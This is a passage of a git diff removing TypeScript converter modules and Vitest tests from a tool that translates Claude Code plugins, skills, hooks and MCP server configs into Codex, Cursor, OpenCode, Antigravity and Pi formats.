'devtools', description: 'Dev tools' }, - skills: [{ dirName: 'skill', frontmatter: { name: 'skill' }, body: '', sourcePath: '', auxFiles: [] }], - instructions: [], mcp: null, agents: [], commands: [], hooks: null, pluginFiles: [], rootDir: '/tmp', - }]; - - const result = convertMarketplaceForCursor(marketplace, pluginScans); - expect(result.path).toBe('.cursor-plugin/marketplace.json'); - - const output = JSON.parse(result.content); - expect(output.name).toBe('my-org'); - expect(output.owner.name).toBe('Test Org'); - expect(output.metadata.pluginRoot).toBe('plugins'); - expect(output.plugins[0].source).toBe('devtools'); - }); -}); - -// --- Source target analysis --- - -describe('analyzeSourceTarget', () => { - it('detects plugin root by .claude-plugin/plugin.json', () => { - expect(analyzeSourceTarget(pluginWithInterface)).toBe('plugin-root'); - }); - - it('detects plugin root by skills/ subdirectory', () => { - // marketplaceWithPluginRoot/plugins/devtools has skills/ subdir - const devtoolsDir = path.join(marketplaceWithPluginRoot, 'plugins', 'devtools'); - expect(analyzeSourceTarget(devtoolsDir)).toBe('plugin-root'); - }); - - it('detects skills directory by name', () => { - const skillsDir = path.join(marketplaceWithSkillsSource, 'skills'); - expect(analyzeSourceTarget(skillsDir)).toBe('skills-dir'); - }); - - it('returns unknown for empty directory', () => { - const emptyDir = path.join(fixtureDir, 'empty-dir'); - fs.mkdirSync(emptyDir, { recursive: true }); - expect(analyzeSourceTarget(emptyDir)).toBe('unknown'); - }); -}); - -describe('scanAllPlugins - flat layout (source: "./skills")', () => { - it('scans skills when source points directly to skills dir', () => { - const results = scanAllPlugins(marketplaceWithSkillsSource); - expect(results).toHaveLength(1); - expect(results[0].meta.name).toBe('my-capturer'); - expect(results[0].skills).toHaveLength(2); - expect(results[0].skills.map(s => s.frontmatter.name).sort()).toEqual(['analyze', 'capture']); - }); - - it('preserves metadata from marketplace entry', () => { - const results = scanAllPlugins(marketplaceWithSkillsSource); - expect(results[0].meta.description).toBe('Flat skills plugin'); - expect(results[0].meta.version).toBe('1.0.0'); - }); -}); - -// --- MCP scanning and plugin-level files --- - -describe('scanPlugin - MCP support', () => { - it('scans .mcp.json from plugin directory', () => { - const result = scanPlugin(pluginWithMCP); - expect(result.mcp).not.toBeNull(); - expect(result.mcp!.servers).toHaveLength(1); - expect(result.mcp!.servers[0].name).toBe('my-server'); - expect(result.mcp!.servers[0].command).toBe('node'); - expect(result.mcp!.servers[0].args![0]).toContain('${CLAUDE_PLUGIN_ROOT}'); - }); - - it('scans plugin-level resource files referenced by MCP', () => { - const result = scanPlugin(pluginWithMCP); - expect(result.pluginFiles.length).toBeGreaterThan(0); - const scriptFile = result.pluginFiles.find(f => f.relativePath.includes('start.js')); - expect(scriptFile).toBeDefined(); - expect(scriptFile!.content).toBe('console.log("hello");'); - }); - - it('still scans skills alongside MCP', () => { - const result = scanPlugin(pluginWithMCP); - expect(result.skills).toHaveLength(1); - expect(result.skills[0].frontmatter.name).toBe('test-skill'); - }); -}); - -describe('MCP converter - ${CLAUDE_PLUGIN_ROOT} transformation', () => { - it('transforms args for Codex', () => { - const mcp = { - servers: [{ - name: 'test', - command: 'node', - args: ['${CLAUDE_PLUGIN_ROOT}/scripts/server/start.js'], - }], - sourcePath: '/tmp/.mcp.json', - }; - const result = convertMCP(mcp, 'codex'); - expect(result.content).not.toContain('CLAUDE_PLUGIN_ROOT'); - expect(result.content).toContain('./scripts/server/start.js'); - }); - - it('transforms env values for Cursor', () => { - const mcp = { - servers: [{ - name: 'test', - command: 'node', - args: ['${CLAUDE_PLUGIN_ROOT}/scripts/start.js'], - env: { CONFIG: '${CLAUDE_PLUGIN_ROOT}/config/settings.json' }, - }], - sourcePath: '/tmp/.mcp.json', - }; - const result = convertMCP(mcp, 'cursor'); - const parsed = JSON.parse(result.content); - const server = parsed.mcpServers.test; - expect(server.args[0]).toBe('./scripts/start.js'); - expect(server.env.CONFIG).toBe('./config/settings.json'); - }); - - it('transforms for OpenCode', () => { - const mcp = { - servers: [{ - name: 'test', - command: 'node', - args: ['${CLAUDE_PLUGIN_ROOT}/scripts/start.js'], - }], - sourcePath: '/tmp/.mcp.json', - }; - const result = convertMCP(mcp, 'opencode'); - const parsed = JSON.parse(result.content); - // OpenCode merges command+args into a single string array. - expect(parsed.mcp.test.command).toEqual(['node', './scripts/start.js']); - }); - - it('handles bare ${CLAUDE_PLUGIN_ROOT} without trailing path', () => { - const mcp = { - servers: [{ - name: 'test', - command: 'node', - args: ['${CLAUDE_PLUGIN_ROOT}'], - env: { ROOT: '${CLAUDE_PLUGIN_ROOT}' }, - }], - sourcePath: '/tmp/.mcp.json', - }; - const result = convertMCP(mcp, 'cursor'); - const parsed = JSON.parse(result.content); - expect(parsed.mcpServers.test.args[0]).toBe('.'); - expect(parsed.mcpServers.test.env.ROOT).toBe('.'); - }); -}); diff --git a/src/__tests__/scanner.test.ts b/src/__tests__/scanner.test.ts deleted file mode 100644 index a83632c..0000000 --- a/src/__tests__/scanner.test.ts +++ /dev/null @@ -1,41 +0,0 @@ -import { describe, it, expect } from 'vitest'; -import * as path from 'path'; -import { scanClaudeProject } from '../scanner/claude.js'; - -const fixtureDir = path.resolve(__dirname, '../../test-fixture'); - -describe('scanClaudeProject', () => { - it('scans all resource types from test fixture', () => { - const result = scanClaudeProject(fixtureDir); - - expect(result.skills).toHaveLength(1); - expect(result.skills[0].dirName).toBe('my-skill'); - expect(result.skills[0].frontmatter.name).toBe('my-skill'); - - expect(result.instructions).toHaveLength(2); - expect(result.instructions.some(i => i.fileName === 'CLAUDE.md')).toBe(true); - expect(result.instructions.some(i => i.isRule)).toBe(true); - - expect(result.mcp).not.toBeNull(); - expect(result.mcp!.servers).toHaveLength(2); - - expect(result.agents).toHaveLength(1); - expect(result.agents[0].fileName).toBe('code-reviewer'); - - expect(result.commands).toHaveLength(1); - expect(result.commands[0].name).toBe('deploy'); - - expect(result.hooks).not.toBeNull(); - expect(Object.keys(result.hooks!)).toHaveLength(2); - }); - - it('returns empty results for non-existent directory', () => { - const result = scanClaudeProject('/tmp/nonexistent-dir-xyz'); - expect(result.skills).toHaveLength(0); - expect(result.instructions).toHaveLength(0); - expect(result.mcp).toBeNull(); - expect(result.agents).toHaveLength(0); - expect(result.commands).toHaveLength(0); - expect(result.hooks).toBeNull(); - }); -}); diff --git a/src/__tests__/skill.test.ts b/src/__tests__/skill.test.ts deleted file mode 100644 index 4a810e3..0000000 --- a/src/__tests__/skill.test.ts +++ /dev/null @@ -1,83 +0,0 @@ -import { describe, it, expect } from 'vitest'; -import { convertSkill, convertSkillCodexYaml } from '../converter/skill.js'; -import type { Skill } from '../types.js'; - -const sampleSkill: Skill = { - dirName: 'test-skill', - frontmatter: { - name: 'test-skill', - description: 'A test skill', - 'disable-model-invocation': true, - 'allowed-tools': 'Read, Grep', - model: 'sonnet', - effort: 'high', - context: 'fork', - agent: 'Explore', - }, - body: '\n# Test Skill\n\nDo something useful.\n', - sourcePath: '/tmp/.claude/skills/test-skill/SKILL.md', - auxFiles: [], -}; - -describe('convertSkill', () => { - it('converts to codex path', () => { - const result = convertSkill(sampleSkill, 'codex'); - expect(result.path).toBe('.agents/skills/test-skill/SKILL.md'); - expect(result.type).toBe('skill'); - }); - - it('converts to opencode path', () => { - const result = convertSkill(sampleSkill, 'opencode'); - expect(result.path).toBe('.opencode/skills/test-skill/SKILL.md'); - }); - - it('converts to cursor path', () => { - const result = convertSkill(sampleSkill, 'cursor'); - expect(result.path).toBe('.cursor/skills/test-skill/SKILL.md'); - }); - - it('converts to pi path', () => { - const result = convertSkill(sampleSkill, 'pi'); - expect(result.path).toBe('.pi/skills/test-skill/SKILL.md'); - // Pi supports Claude-style allowed-tools + disable-model-invocation natively. - expect(result.content).toContain('allowed-tools:'); - expect(result.content).toContain('Read, Grep'); - expect(result.content).toContain('disable-model-invocation: true'); - }); - - it('preserves name and description in frontmatter', () => { - const result = convertSkill(sampleSkill, 'codex'); - expect(result.content).toContain('name: test-skill'); - expect(result.content).toContain('description: A test skill'); - }); - - it('removes Claude-specific fields from frontmatter', () => { - const result = convertSkill(sampleSkill, 'codex'); - expect(result.content).not.toMatch(/^context:/m); - expect(result.content).not.toMatch(/^agent:/m); - expect(result.content).not.toMatch(/^effort:/m); - expect(result.content).not.toMatch(/^model:/m); - }); - - it('adds Claude-specific fields as HTML comment', () => { - const result = convertSkill(sampleSkill, 'codex'); - expect(result.content).toContain('\n`; - } - - const content = stringifyFrontmatter(fm, body); - return { path: `.agents/agents/${agent.fileName}.md`, content, type: 'agent' }; -} diff --git a/src/converter/command.ts b/src/converter/command.ts deleted file mode 100644 index 38cafc4..0000000 --- a/src/converter/command.ts +++ /dev/null @@ -1,73 +0,0 @@ -import type { Command, Platform, ConvertedFile } from '../types.js'; -import { stringifyFrontmatter } from '../utils/frontmatter.js'; - -export function convertCommand(command: Command, platform: Platform): ConvertedFile { - switch (platform) { - case 'codex': - return convertToCodex(command); - case 'opencode': - return convertToOpenCode(command); - case 'cursor': - return convertToCursor(command); - case 'antigravity': - return convertToAntigravity(command); - case 'pi': - return convertToPi(command); - } -} - -function convertToPi(command: Command): ConvertedFile { - // Pi has no dedicated command format; the closest native mechanism is a - // prompt template (.md under .pi/prompts/), exposed as a /name slash command. - return { - path: `.pi/prompts/${command.name}.md`, - content: command.content, - type: 'command', - }; -} - -function convertToCodex(command: Command): ConvertedFile { - // Codex exposes commands as skills - const fm = { - name: `cmd-${command.name}`, - description: `Command: ${command.name} (imported from Claude Code)`, - }; - const content = stringifyFrontmatter(fm, command.content); - - return { - path: `.agents/skills/cmd-${command.name}/SKILL.md`, - content, - type: 'command', - }; -} - -function convertToOpenCode(command: Command): ConvertedFile { - // OpenCode uses .opencode/commands/*.md (same format) - return { - path: `.opencode/commands/${command.name}.md`, - content: command.content, - type: 'command', - }; -} - -function convertToCursor(command: Command): ConvertedFile { - return { - path: `.cursor/commands/${command.name}.md`, - content: command.content, - type: 'command', - }; -} - -function convertToAntigravity(command: Command): ConvertedFile { - // Antigravity: convert commands to skills (no separate commands dir) - const fm = { - name: command.name, - description: `Command: ${command.name} (imported from Claude Code)`, - }; - const content = stringifyFrontmatter(fm, command.content); - return { - path: `.agents/skills/cmd-${command.name}/SKILL.md`, - content, - type: 'command', - }; -} diff --git a/src/converter/hooks.ts b/src/converter/hooks.ts deleted file mode 100644 index 030ff4e..0000000 --- a/src/converter/hooks.ts +++ /dev/null @@ -1,133 +0,0 @@ -import type { Hooks, Platform, ConvertedFile } from '../types.js'; - -// Events that have reasonable mapping across platforms -const PORTABLE_EVENTS = ['PostToolUse', 'PreToolUse', 'Stop', 'SessionStart']; - -// Claude Code PascalCase → Cursor camelCase event name mapping -const CURSOR_EVENT_MAP: Record = { - 'PostToolUse': 'postToolUse', - 'PreToolUse': 'preToolUse', - 'Stop': 'stop', - 'SessionStart': 'sessionStart', -}; - -interface HookReport { - converted: ConvertedFile[]; - warnings: string[]; -} - -export function convertHooks(hooks: Hooks, platform: Platform): HookReport { - if (platform === 'cursor') { - return convertCursorHooks(hooks); - } - - const warnings: string[] = []; - const converted: ConvertedFile[] = []; - - for (const [event, matchers] of Object.entries(hooks)) { - if (!PORTABLE_EVENTS.includes(event)) { - warnings.push(`Hook event "${event}" is not portable to ${platform} — skipped`); - continue; - } - - for (const matcher of matchers) { - for (const hook of matcher.hooks) { - if (hook.type === 'command' && hook.command) { - const result = convertCommandHook(event, matcher.matcher, hook.command, platform); - if (result) { - converted.push(result); - } else { - warnings.push(`Hook ${event}/${matcher.matcher || '*'} cannot be directly converted to ${platform}`); - } - } else if (hook.type === 'prompt' || hook.type === 'agent') { - warnings.push(`Hook type "${hook.type}" for event "${event}" is Claude Code specific — cannot convert to ${platform}`); - } else if (hook.type === 'http') { - warnings.push(`HTTP hook for event "${event}" — manual configuration needed for ${platform}`); - } - } - } - } - - return { converted, warnings }; -} - -/** - * Convert Claude Code hooks to Cursor hooks format. - * Cursor hooks use camelCase event names, no matcher, and a version field. - */ -function convertCursorHooks(hooks: Hooks): HookReport { - const warnings: string[] = []; - const cursorHooks: Record> = {}; - - for (const [event, matchers] of Object.entries(hooks)) { - const cursorEvent = CURSOR_EVENT_MAP[event]; - if (!cursorEvent) { - warnings.push(`Hook event "${event}" is not supported in Cursor — skipped`); - continue; - } - - const entries: Array<{ command: string }> = []; - for (const matcher of matchers) { - for (const hook of matcher.hooks) { - if (hook.type === 'command' && hook.command) { - // Strip ${CLAUDE_PLUGIN_ROOT}/ prefix and adapt path for Cursor - let cmd = hook.command; - cmd = cmd.replace(/"\$\{CLAUDE_PLUGIN_ROOT\}\/([^"]+)"/g, './$1'); - cmd = cmd.replace(/\$\{CLAUDE_PLUGIN_ROOT\}\//g, './'); - entries.push({ command: cmd }); - } else { - warnings.push(`Hook type "${hook.type}" for event "${event}" is not supported in Cursor — skipped`); - } - } - } - - if (entries.length > 0) { - cursorHooks[cursorEvent] = entries; - } - } - - const converted: ConvertedFile[] = []; - if (Object.keys(cursorHooks).length > 0) { - const content = JSON.stringify({ version: 1, hooks: cursorHooks }, null, 2); - converted.push({ - path: 'hooks/hooks-cursor.json', - content, - type: 'hook', - }); - } - - return { converted, warnings }; -} - -function convertCommandHook( - event: string, - matcher: string | undefined, - command: string, - platform: Platform -): ConvertedFile | null { - switch (platform) { - case 'cursor': - // Cursor doesn't have hooks yet in a config file format we can write - return null; - case 'codex': - // Codex doesn't have hooks — add as a note in AGENTS.md - return { - path: `AGENTS.md.hook-${event}`, - content: `## Hook: ${event}${matcher ? ` (${matcher})` : ''}\n\nRun after ${event}: \`${command}\`\n`, - type: 'hook', - }; - case 'opencode': - // OpenCode doesn't have a public hooks system — add as a note - return { - path: `AGENTS.md.hook-${event}`, - content: `## Hook: ${event}${matcher ? ` (${matcher})` : ''}\n\nRun after ${event}: \`${command}\`\n`, - type: 'hook', - }; - case 'antigravity': - // Antigravity doesn't have file-configurable hooks - return null; - case 'pi': - // Pi handles hooks only via TypeScript extensions — no file format. - return null; - } -} diff --git a/src/converter/instructions.ts b/src/converter/instructions.ts deleted file mode 100644 index b75f341..0000000 --- a/src/converter/instructions.ts +++ /dev/null @@ -1,124 +0,0 @@ -import type { Instruction, Platform, ConvertedFile } from '../types.js'; -import { stringifyFrontmatter } from '../utils/frontmatter.js'; - -export function convertInstruction(instruction: Instruction, platform: Platform): ConvertedFile { - switch (platform) { - case 'codex': - return convertToCodex(instruction); - case 'opencode': - return convertToOpenCode(instruction); - case 'cursor': - return convertToCursor(instruction); - case 'antigravity': - return convertToAntigravity(instruction); - case 'pi': - return convertToPi(instruction); - } -} - -function convertToPi(instruction: Instruction): ConvertedFile { - // Pi loads AGENTS.md (or CLAUDE.md), concatenating all matches up the tree. - return { - path: 'AGENTS.md', - content: instruction.content, - type: 'instruction', - }; -} - -function convertToCodex(instruction: Instruction): ConvertedFile { - // CLAUDE.md and rules both map to AGENTS.md (content is directly usable). - return { - path: 'AGENTS.md', - content: instruction.content, - type: 'instruction', - }; -} - -function convertToOpenCode(instruction: Instruction): ConvertedFile { - // CLAUDE.md → AGENTS.md (OpenCode is compatible) - return { - path: 'AGENTS.md', - content: instruction.content, - type: 'instruction', - }; -} - -function convertToCursor(instruction: Instruction): ConvertedFile { - if (instruction.isRule) { - // .claude/rules/X.md → .cursor/rules/X.mdc with frontmatter - const name = instruction.fileName.replace(/\.md$/, ''); - const frontmatter = { - description: `Imported from Claude Code rule: ${name}`, - alwaysApply: true, - }; - return { - path: `.cursor/rules/${name}.mdc`, - content: stringifyFrontmatter(frontmatter, instruction.content), - type: 'instruction', - }; - } - - // CLAUDE.md → .cursor/rules/claude-instructions.mdc - const frontmatter = { - description: 'Project instructions imported from Claude Code CLAUDE.md', - alwaysApply: true, - }; - return { - path: '.cursor/rules/claude-instructions.mdc', - content: stringifyFrontmatter(frontmatter, instruction.content), - type: 'instruction', - }; -} - -/** - * Merge multiple instructions into a single file for platforms that use one file. - * Codex and OpenCode both use a single AGENTS.md. - */ -function convertToAntigravity(instruction: Instruction): ConvertedFile { - // CLAUDE.md → GEMINI.md - return { - path: 'GEMINI.md', - content: instruction.content, - type: 'instruction', - }; -} - -export function mergeInstructions(instructions: Instruction[], platform: Platform): ConvertedFile[] { - if (platform === 'cursor') { - return instructions.map(i => convertInstruction(i, platform)); - } - - if (platform === 'antigravity') { - // Antigravity: merge into GEMINI.md - if (instructions.length === 0) return []; - const sections: string[] = []; - for (const inst of instructions) { - if (inst.isRule) { - const name = inst.fileName.replace(/\.md$/, ''); - sections.push(`\n## Rule: ${name}\n\n${inst.content}`); - } else { - sections.push(inst.content); - } - } - return [{ path: 'GEMINI.md', content: sections.join('\n\n---\n'), type: 'instruction' }]; - } - - // Codex / OpenCode: merge all into one AGENTS.md - if (instructions.length === 0) return []; - - const sections: string[] = []; - for (const inst of instructions) { - if (inst.isRule) { - const name = inst.fileName.replace(/\.md$/, ''); - sections.push(`\n## Rule: ${name}\n\n${inst.content}`); - } else { - sections.push(inst.content); - } - } - - return [{ - path: 'AGENTS.md', - content: sections.join('\n\n---\n'), - type: 'instruction', - }]; -} diff --git a/src/converter/mcp.ts b/src/converter/mcp.ts deleted file mode 100644 index fd81df6..0000000 --- a/src/converter/mcp.ts +++ /dev/null @@ -1,170 +0,0 @@ -import type { MCPConfig, Platform, ConvertedFile } from '../types.js'; -import { toToml } from '../utils/toml.js'; - -/** - * Replace ${CLAUDE_PLUGIN_ROOT} with relative path. - * All target platforms use relative paths from plugin root. - */ -function transformPluginRootPaths(value: string): string { - return value - .replace(/"\$\{CLAUDE_PLUGIN_ROOT\}\/([^"]+)"/g, './$1') - .replace(/\$\{CLAUDE_PLUGIN_ROOT\}\//g, './') - .replace(/\$\{CLAUDE_PLUGIN_ROOT\}/g, '.'); -} - -function transformArgs(args: string[]): string[] { - return args.map(a => transformPluginRootPaths(a)); -} - -function transformEnv(env: Record): Record { - const result: Record = {}; - for (const [k, v] of Object.entries(env)) { - result[k] = transformPluginRootPaths(v); - } - return result; -} - -export function convertMCP(mcp: MCPConfig, platform: Platform): ConvertedFile { - switch (platform) { - case 'codex': - return convertToCodex(mcp); - case 'opencode': - return convertToOpenCode(mcp); - case 'cursor': - return convertToCursor(mcp); - case 'antigravity': - return convertToAntigravity(mcp); - case 'pi': - // Pi does not support MCP by design; the Pi writer emits a warning - // instead of calling this converter. - throw new Error('Pi does not support MCP'); - } -} - -function convertToCodex(mcp: MCPConfig): ConvertedFile { - // Generate TOML [mcp_servers.X] sections - const mcpServers: Record> = {}; - - for (const server of mcp.servers) { - const config: Record = {}; - - if (server.type === 'http' && server.url) { - config.url = server.url; - if (server.headers) { - config.http_headers = server.headers; - } - } else { - if (server.command) config.command = server.command; - if (server.args) config.args = transformArgs(server.args); - } - - if (server.env && Object.keys(server.env).length > 0) { - config.env = transformEnv(server.env); - } - - config.enabled = true; - mcpServers[server.name] = config; - } - - const content = toToml({ mcp_servers: mcpServers }); - return { - path: '.codex/config.toml', - content: `# MCP servers converted from Claude Code .mcp.json\n\n${content}`, - type: 'mcp', - }; -} - -function convertToOpenCode(mcp: MCPConfig): ConvertedFile { - const mcpConfig: Record = {}; - - for (const server of mcp.servers) { - if (server.type === 'http' && server.url) { - mcpConfig[server.name] = { - type: 'remote', - url: server.url, - enabled: true, - ...(server.headers ? { headers: server.headers } : {}), - }; - } else { - // OpenCode expects a single string array for command+args, and uses - // `environment` (not `env`) for env vars. See opencode.ai/docs/mcp-servers. - const commandArray = [ - ...(server.command ? [server.command] : []), - ...transformArgs(server.args || []), - ]; - mcpConfig[server.name] = { - type: 'local', - command: commandArray, - enabled: true, - ...(server.env && Object.keys(server.env).length > 0 ? { environment: transformEnv(server.env) } : {}), - }; - } - } - - const content = JSON.stringify({ mcp: mcpConfig }, null, 2); - return { - path: 'opencode.json', - content, - type: 'mcp', - }; -} - -function convertToCursor(mcp: MCPConfig): ConvertedFile { - // Cursor format is almost identical to Claude's .mcp.json - const mcpServers: Record = {}; - - for (const server of mcp.servers) { - const config: Record = {}; - - if (server.type === 'http' && server.url) { - config.url = server.url; - if (server.headers) config.headers = server.headers; - } else { - if (server.command) config.command = server.command; - if (server.args) config.args = transformArgs(server.args); - if (server.env && Object.keys(server.env).length > 0) { - config.env = transformEnv(server.env); - } - } - - mcpServers[server.name] = config; - } - - const content = JSON.stringify({ mcpServers }, null, 2); - return { - path: '.cursor/mcp.json', - content, - type: 'mcp', - }; -} - -function convertToAntigravity(mcp: MCPConfig): ConvertedFile { - // Antigravity uses a dedicated mcp_config.json (not the legacy Gemini CLI - // settings.json). Remote servers use `serverUrl` (not `url`/`httpUrl`). - // See github.com/github/github-mcp-server install-antigravity guide. - const mcpServers: Record = {}; - - for (const server of mcp.servers) { - const config: Record = {}; - - if (server.type === 'http' && server.url) { - config.serverUrl = server.url; - if (server.headers) config.headers = server.headers; - } else { - if (server.command) config.command = server.command; - if (server.args) config.args = transformArgs(server.args); - if (server.env && Object.keys(server.env).length > 0) { - config.env = transformEnv(server.env); - } - } - - mcpServers[server.name] = config; - } - - const content = JSON.stringify({ mcpServers }, null, 2); - return { - path: '.agents/mcp_config.json', - content, - type: 'mcp', - }; -} diff --git a/src/converter/pluginManifest.ts b/src/converter/pluginManifest.ts deleted file mode 100644 index 0badbc1..0000000 --- a/src/converter/pluginManifest.ts +++ /dev/null @@ -1,232 +0,0 @@ -import type { - PluginMeta, - PluginInterface, - MarketplaceMeta, - ConvertedFile, - ScanResult, - PluginScanResult, - PlatformPaths, -} from '../types.js'; - -// ─── Platform resource paths (single source of truth) ─── -// These must match the actual output paths in each platform's writer/converter. -// -// Only codex and cursor support plugin manifest/marketplace generation. -// OpenCode's plugin system is fundamentally different (npm packages / .ts modules). -// Antigravity does not support plugins. -// Other platforms still perform normal resource conversion (skills, agents, etc.). - -type ManifestPlatform = 'codex' | 'cursor'; - -const PLATFORM_PATHS: Record = { - codex: { - pluginJson: '.codex-plugin/plugin.json', - marketplaceJson: '.agents/plugins/marketplace.json', - skills: './.agents/skills/', - agents: './.codex/agents/', - mcp: './.codex/config.toml', - }, - cursor: { - pluginJson: '.cursor-plugin/plugin.json', - marketplaceJson: '.cursor-plugin/marketplace.json', - skills: './skills/', - agents: './agents/', - commands: './commands/', - instructions: './rules/', - mcp: './mcp.json', - hooks: './hooks/hooks-cursor.json', - }, -}; - -export { PLATFORM_PATHS, type ManifestPlatform }; - -// ─── Codex ─── - -/** - * Generate .codex-plugin/plugin.json manifest from Claude plugin metadata. - */ -export function convertPluginManifestForCodex( - scan: ScanResult, - meta?: PluginMeta, -): ConvertedFile { - const manifest: Record = { - name: meta?.name || 'converted-plugin', - version: meta?.version || '1.0.0', - description: meta?.description || 'Converted from Claude Code plugin via acplugin', - }; - - if (meta?.author) manifest.author = meta.author; - if (meta?.homepage) manifest.homepage = meta.homepage; - if (meta?.repository) manifest.repository = meta.repository; - if (meta?.license) manifest.license = meta.license; - if (meta?.keywords) manifest.keywords = meta.keywords; - - const paths = PLATFORM_PATHS.codex; - - // Resource path references (derived from platform paths) - if (scan.skills.length > 0 && paths.skills) manifest.skills = paths.skills; - if (scan.mcp && paths.mcp) manifest.mcpServers = paths.mcp; - if (meta?.apps) manifest.apps = './.app.json'; - - // Interface (marketplace display metadata) - if (meta?.interface) { - manifest.interface = buildCodexInterface(meta.interface); - } - - return { - path: paths.pluginJson, - content: JSON.stringify(manifest, null, 2), - type: 'manifest', - }; -} - -function buildCodexInterface(iface: PluginInterface): Record { - const result: Record = {}; - if (iface.displayName) result.displayName = iface.displayName; - if (iface.shortDescription) result.shortDescription = iface.shortDescription; - if (iface.longDescription) result.longDescription = iface.longDescription; - if (iface.developerName) result.developerName = iface.developerName; - if (iface.category) result.category = iface.category; - if (iface.capabilities) result.capabilities = iface.capabilities; - if (iface.websiteURL) result.websiteURL = iface.websiteURL; - if (iface.privacyPolicyURL) result.privacyPolicyURL = iface.privacyPolicyURL; - if (iface.termsOfServiceURL) result.termsOfServiceURL = iface.termsOfServiceURL; - if (iface.defaultPrompt) result.defaultPrompt = iface.defaultPrompt; - if (iface.brandColor) result.brandColor = iface.brandColor; - if (iface.composerIcon) result.composerIcon = iface.composerIcon; - if (iface.logo) result.logo = iface.logo; - if (iface.screenshots) result.screenshots = iface.screenshots; - return result; -} - -/** - * Generate Codex marketplace.json from Claude marketplace metadata. - */ -export function convertMarketplaceForCodex( - marketplace: MarketplaceMeta, - plugins: PluginScanResult[], -): ConvertedFile { - const paths = PLATFORM_PATHS.codex; - const output: Record = { - name: marketplace.name, - }; - - // Interface with displayName - const displayName = marketplace.metadata?.description || marketplace.name; - output.interface = { displayName }; - - output.plugins = plugins.map((p) => { - const entry: Record = { - name: p.meta.name, - source: { - source: 'local', - path: `./plugins/${p.meta.name}`, - }, - policy: { - installation: 'AVAILABLE', - authentication: 'ON_INSTALL', - }, - }; - const category = p.meta.category || p.meta.interface?.category; - if (category) entry.category = category; - return entry; - }); - - return { - path: paths.marketplaceJson!, - content: JSON.stringify(output, null, 2), - type: 'manifest', - }; -} - -// ─── Cursor ─── - -/** - * Generate .cursor-plugin/plugin.json manifest from Claude plugin metadata. - * Enhanced version that includes interface fields. - */ -export function convertPluginManifestForCursor( - scan: ScanResult, - meta?: PluginMeta, -): ConvertedFile { - const manifest: Record = { - name: meta?.name || 'converted-plugin', - }; - - if (meta?.displayName) manifest.displayName = meta.displayName; - // Also pull displayName from interface if not at top level - if (!manifest.displayName && meta?.interface?.displayName) { - manifest.displayName = meta.interface.displayName; - } - - manifest.description = meta?.description || 'Converted from Claude Code plugin via acplugin'; - manifest.version = meta?.version || '1.0.0'; - - if (meta?.author) manifest.author = meta.author; - if (meta?.homepage) manifest.homepage = meta.homepage; - if (meta?.repository) manifest.repository = meta.repository; - if (meta?.license) manifest.license = meta.license; - if (meta?.keywords) manifest.keywords = meta.keywords; - - const paths = PLATFORM_PATHS.cursor; - - // Resource paths for existing components (derived from platform paths) - if (scan.skills.length > 0 && paths.skills) manifest.skills = paths.skills; - if (scan.agents.length > 0 && paths.agents) manifest.agents = paths.agents; - if (scan.commands.length > 0 && paths.commands) manifest.commands = paths.commands; - if (scan.instructions.length > 0 && paths.instructions) manifest.rules = paths.instructions; - if (scan.mcp && paths.mcp) manifest.mcpServers = paths.mcp; - if (scan.hooks && paths.hooks) manifest.hooks = paths.hooks; - - // Logo from interface - if (meta?.interface?.logo) manifest.logo = meta.interface.logo; - - return { - path: paths.pluginJson, - content: JSON.stringify(manifest, null, 2), - type: 'manifest', - }; -} - -/** - * Generate Cursor marketplace.json from Claude marketplace metadata. - */ -export function convertMarketplaceForCursor( - marketplace: MarketplaceMeta, - plugins: PluginScanResult[], -): ConvertedFile { - const output: Record = { - name: marketplace.name, - }; - - if (marketplace.owner) output.owner = marketplace.owner; - - // Metadata block - const metadata: Record = {}; - if (marketplace.metadata?.description || marketplace.description) { - metadata.description = marketplace.metadata?.description || marketplace.description; - } - if (marketplace.metadata?.version || marketplace.version) { - metadata.version = marketplace.metadata?.version || marketplace.version; - } - metadata.pluginRoot = 'plugins'; - output.metadata = metadata; - - output.plugins = plugins.map((p) => ({ - name: p.meta.name, - source: p.meta.name, - description: p.meta.description, - })); - - return { - path: PLATFORM_PATHS.cursor.marketplaceJson!, - content: JSON.stringify(output, null, 2), - type: 'manifest', - }; -} - -// OpenCode and Antigravity are intentionally not handled here. -// OpenCode's plugin system uses npm packages / local .ts modules (fundamentally different). -// Antigravity does not support plugins. -// Both platforms still perform normal resource conversion (skills, agents, MCP, etc.) -// through their respective writers. diff --git a/src/converter/skill.ts b/src/converter/skill.ts deleted file mode 100644 index 1f37fb8..0000000 --- a/src/converter/skill.ts +++ /dev/null @@ -1,90 +0,0 @@ -import type { Skill, Platform, ConvertedFile } from '../types.js'; -import { stringifyFrontmatter } from '../utils/frontmatter.js'; - -// Claude-specific fields that other platforms don't support -const CLAUDE_ONLY_FIELDS = [ - 'context', 'agent', 'effort', 'model', 'hooks', 'user-invocable', - 'when_to_use', 'disallowed-tools', 'background', 'paths', 'shell', 'arguments', -]; - -function getSkillOutputPath(platform: Platform, dirName: string): string { - switch (platform) { - case 'codex': - return `.agents/skills/${dirName}/SKILL.md`; - case 'opencode': - return `.opencode/skills/${dirName}/SKILL.md`; - case 'cursor': - return `.cursor/skills/${dirName}/SKILL.md`; - case 'antigravity': - // Antigravity CLI workspace convention is .agents/ (plural), not .agent/. - return `.agents/skills/${dirName}/SKILL.md`; - case 'pi': - // Pi adopts the Claude-style Agent Skills standard under .pi/skills/. - return `.pi/skills/${dirName}/SKILL.md`; - } -} - -function convertFrontmatter(skill: Skill, platform: Platform): Record { - const fm = { ...skill.frontmatter } as Record; - - // For Codex: disable-model-invocation maps to a separate openai.yaml - // For now, keep it in frontmatter as other platforms understand it - - // Remove Claude-only fields and add as comments in body - for (const field of CLAUDE_ONLY_FIELDS) { - delete fm[field]; - } - - return fm; -} - -function buildBody(skill: Skill): string { - const claudeFields: string[] = []; - const fm = skill.frontmatter as Record; - - for (const field of CLAUDE_ONLY_FIELDS) { - if (fm[field] !== undefined) { - claudeFields.push(`- ${field}: ${JSON.stringify(fm[field])}`); - } - } - - if (claudeFields.length === 0) return skill.body; - - const comment = `\n\n`; - return skill.body + comment; -} - -export function convertSkill(skill: Skill, platform: Platform): ConvertedFile { - const frontmatter = convertFrontmatter(skill, platform); - const body = buildBody(skill); - const content = stringifyFrontmatter(frontmatter, body); - const outputPath = getSkillOutputPath(platform, skill.dirName); - - return { path: outputPath, content, type: 'skill' }; -} - -/** - * Convert all auxiliary files (references/, scripts/, assets/, etc.) for a skill. - */ -export function convertSkillAuxFiles(skill: Skill, platform: Platform): ConvertedFile[] { - return skill.auxFiles.map(aux => { - const basePath = getSkillOutputPath(platform, 